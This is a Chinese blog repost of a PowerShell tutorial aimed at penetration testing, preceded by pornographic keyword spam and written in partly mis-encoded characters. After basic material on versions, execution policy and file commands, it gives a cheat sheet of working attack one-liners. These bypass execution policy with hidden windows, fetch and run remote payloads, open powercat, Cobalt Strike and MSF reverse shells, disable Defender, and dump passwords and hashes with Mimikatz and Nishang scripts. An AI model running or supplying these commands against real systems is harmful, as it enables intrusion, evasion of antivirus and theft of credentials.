日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

PowerShell使用

發(fā)布時間:2024/6/3 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PowerShell使用 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

目錄

Windows PowerShell

PowerShell的執(zhí)行策略

繞過執(zhí)行策略執(zhí)行PowerShell腳本

PowerShell的常用文件類命令

PowerShell遠程下載文件并執(zhí)行

滲透測試常用的PowerShell命令

Powershell導入文件?


Windows PowerShell

Windows PowerShell是一種命令行外殼程序和腳本環(huán)境,它內置在Windows7及其以上的系統(tǒng)中,使命令行用戶和腳本編寫者可以利用.NET Framework的強大功能。PowerShell無須寫到磁盤中,它可以直接在內存中運行。

各操作系統(tǒng)的PowerShell版本

操作系統(tǒng)PowerShell版本
Windows7、Windows Server20082.0
Windows8、Windows Server20123.0
Windows8.1、Windows Server2012 R24.0
Windows10、Windows Server20165.0

一個PowerShell腳本其實就是一個簡單的文本文件,這個文件包含了一系列的PowerShell命令,每個命令顯示為獨立的一行,PowerShell文件的后綴為.ps1。

在64位的Windows操作系統(tǒng)中,存在兩個版本的PowerShell,一個是x64版本的,一個是x86版本的。這兩個版本的執(zhí)行策略不會互相影響,可以把它們看成是兩個獨立的程序。x64版本PowerShell的配置文件在? ?C:\Windows\SysWOW64\WindowsPowerShell\v1.0 目錄下。

PowerShell的優(yōu)點

  • Windows7以上的操作系統(tǒng)默認安裝
  • PowerShell無須寫到磁盤中,它可以直接在內存中運行。
  • 可以從另外一個系統(tǒng)中下載PowerShell腳本并執(zhí)行
  • 很多殺毒軟件檢測不到PowerShell的活動
  • cmd通常會被殺毒軟件阻止運行,而PowerShell不會
  • PowerShell可以用來管理活動目錄

查看PowerShell版本

  • Get-Host
  • 或者
  • $PSVersionTable.PSVERSION
  • PowerShell的簡單使用

    可以執(zhí)行 ctrl+R ,輸入PowerShell 調出PowerShell,也可以在cmd下輸入powershell進入,還可以在cmd下輸入powershell命令,但是在每條命令之前加上powershell help查看PowerShell的幫助。

    PowerShell的執(zhí)行策略

    為防止惡意腳本的執(zhí)行,PowerShell有一個執(zhí)行策略,默認情況下,這個執(zhí)行策略被設置為受限。

    我們可以使用:Get-ExecutionPolicy? 命令查看PowerShell當前的執(zhí)行策略。它有4個策略。

    • Restricted:腳本不能運行(默認設置)
    • RemoteSigned:本地創(chuàng)建的腳本可以運行,但是從網(wǎng)上下載的腳本不能運行(擁有數(shù)字證書簽名的除外)
    • AllSigned:僅當腳本由受信任的發(fā)布者簽名時才能運行
    • Unrestricted:允許所有的腳本執(zhí)行

    可以看到,我們PowerShell腳本當前的執(zhí)行策略是 AllSigned。

    修改PowerShell執(zhí)行策略:

    Set-ExecutionPolicy 策略名 #該命令需要管理員權限運行

    繞過執(zhí)行策略執(zhí)行PowerShell腳本

    在滲透測試時,需要采用一些方法繞過策略來執(zhí)行PowerShell腳本:

    下載遠程PowerShell腳本繞過權限執(zhí)行

    經(jīng)過測試,在cmd窗口執(zhí)行遠程下載的powershell腳本,不論當前策略,都可以直接運行。而powershell窗口不行。

  • #cmd窗口執(zhí)行以下命令
  • powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
  • 在powershell窗口執(zhí)行
  • IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')
  • 繞過本地權限執(zhí)行

    上傳test.ps1到目標主機,在cmd環(huán)境下,在目標主機本地當前目錄執(zhí)行該腳本

    powershell -exec bypass .\test.ps1

    本地隱藏繞過權限執(zhí)行腳本

    powershell.exe -exec bypass -W hidden -nop test.ps1
    • ExecvtionPolicy Bypass(-exec bypass):繞過執(zhí)行安全策略,這個參數(shù)非常重要,在默認情況下,PowerShell的安全策略規(guī)定了PoweShell不允許運行命令和文件。通過設置這個參數(shù),可以繞過任意一個安全保護規(guī)則
    • WindowStyle Hidden(-w hidden):隱藏窗口,也就是執(zhí)行完命令后,窗口隱藏
    • -command(-c):執(zhí)行powershell腳本
    • NoProfile(-nop):PowerShell控制臺不加載當前用戶的配置文件
    • NoLogo:啟動不顯示版權標志的PowerShell
    • Nonlnteractive(-noni):非交互模式
    • Noexit:執(zhí)行后不退出shell,這在使用鍵盤記錄等腳本時非常重要?
    • -enc??base64:?把ps腳本編碼成base64來執(zhí)行,實戰(zhàn)用的最多

    PowerShell的常用文件類命令

    在PowerShell下,命令的命名規(guī)范很一致,都采用了動詞-名詞的形式,如Net-Item,動詞一般為Add、New、Get、Remove、Set等。PoerShell還兼容cmd和Linux命令,如查看目錄可以使用 dir 或者 ls 。

    文件操作類的PowerShell命令

  • 新建目錄testNew-Item test -ItemType directory
  • 刪除目錄testRemove-Item test
  • 新建文件test.txtNew-Item test.txt -ItemType file
  • 新建文件test.txt,內容為 helloNew-Item test.txt -ItemType file -value "hello"
  • 刪除文件test.txtRemove-Item test.txt
  • 查看文件test.txt內容:Get-Content test.txt
  • 設置文件test.txt內容tSet-Content test.txt -Value "haha"
  • 給文件test.txt追加內容:Add-Content test.txt -Value ",word!"
  • 清除文件test.txt內容:Clear-Content test.txt
  • PowerShell遠程下載文件并執(zhí)行

    cmd窗口下載文件

    管理員權限才可以下載到C盤目錄下,普通權限不能下在到C盤下。DownloadFile函數(shù)必須提供兩個參數(shù)

  • #下載文件到指定目錄
  • powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');
  • #下載文件到當前目錄
  • powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');
  • cmd窗口下載文件并執(zhí)行(exe)

    遠程下載木馬文件并執(zhí)行

    powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','test.exe');start-process test.exe

    cmd窗口下載文件并執(zhí)行(powershell腳本)?

    遠程下載?test.ps1?腳本,直接執(zhí)行,該命令可以繞過powershell的執(zhí)行策略。

    powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1')

    遠程下載 powercat.ps1 腳本,并帶參數(shù)運行,該命令可以繞過powershell的執(zhí)行策略

    powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd

    滲透測試常用的PowerShell命令

    關閉Windows自帶的Defender防火墻(需要管理員權限)

    powershell Set-MpPreference -disablerealtimeMonitoring $true

    在cmd窗口下執(zhí)行,將遠程主機上的test.exe 下載到本地的D盤下

    powershell (new-object system.net.webclient).downloadfile('http://192.168.10.11/test.exe','d:/test.exe');

    cmd窗口下利用Powershell反彈NC shell??

  • 在cmd窗口執(zhí)行
  • powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  • 在powershell窗口執(zhí)行
  • IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.10.11 -p 8888 -e cmd
  • cmd窗口下利用Powershell反彈CobaltStrike shell?

  • 在cmd窗口執(zhí)行
  • powershell.exe -c IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
  • 在powershell窗口執(zhí)行
  • IEX ((new-object net.webclient).downloadstring('http://xx.xx.xx.xx/a'))
  • cmd窗口下利用Powershell反彈MSF shell?

  • 在cmd窗口執(zhí)行
  • powershell -c IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
  • 在powershell窗口執(zhí)行
  • IEX (New-Object Net.WebClient).DownloadString('http://xx.xx.xx.xx/7788.ps1');xx.ps1
  • 遠程加載PowerShell腳本讀取明文密碼

    需要管理員權限

  • 在cmd窗口執(zhí)行
  • powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
  • 在powershell窗口執(zhí)行
  • IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
  • ?遠程加載PowerShell腳本讀取密碼hash值

    需要管理員權限

  • 在cmd窗口執(zhí)行
  • powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  • 在powershell窗口執(zhí)行
  • IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes
  • Powershell導入文件?

    在大型的Powershell項目下,通常會有 .ps1 、.psd1?和 .psm1?幾種后綴的文件。如PowerSploit工具

    下面說下這幾種后綴文件的用法。

    • .ps1 文件就是PowerShell腳本文件,該文件內容就是powershell語法
    • .psd1?文件是這個模塊的介紹
    • .psm1?是模塊文件

    對于 .psm1?和?psd1 文件,可以使用以下命令進行導入

  • Import-Module .\PowerSploit.psm1
  • Import-Module .\PowerSploit.psd1
  • 然后輸入命令:Get-Command -Module PowerSploit 查看導入的模塊都有哪些功能

    對于.ps1文件,既可以使用 ?Import-Module?也可以使用 .?進行導入

  • Import-Module .\Get-Information.ps1
  • . .\Get-Information.ps1
  • 注:以上所有的命令都建議在cmd窗口執(zhí)行!!

    參考書籍:《Web安全攻防-滲透測試實戰(zhàn)指南》

    相關文章:PowerSploit收集域信息

    ? ? ? ? ? ? ? ? ??一些值得收藏的PowerShell工具

    總結

    以上是生活随笔為你收集整理的PowerShell使用的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內容還不錯,歡迎將生活随笔推薦給好友。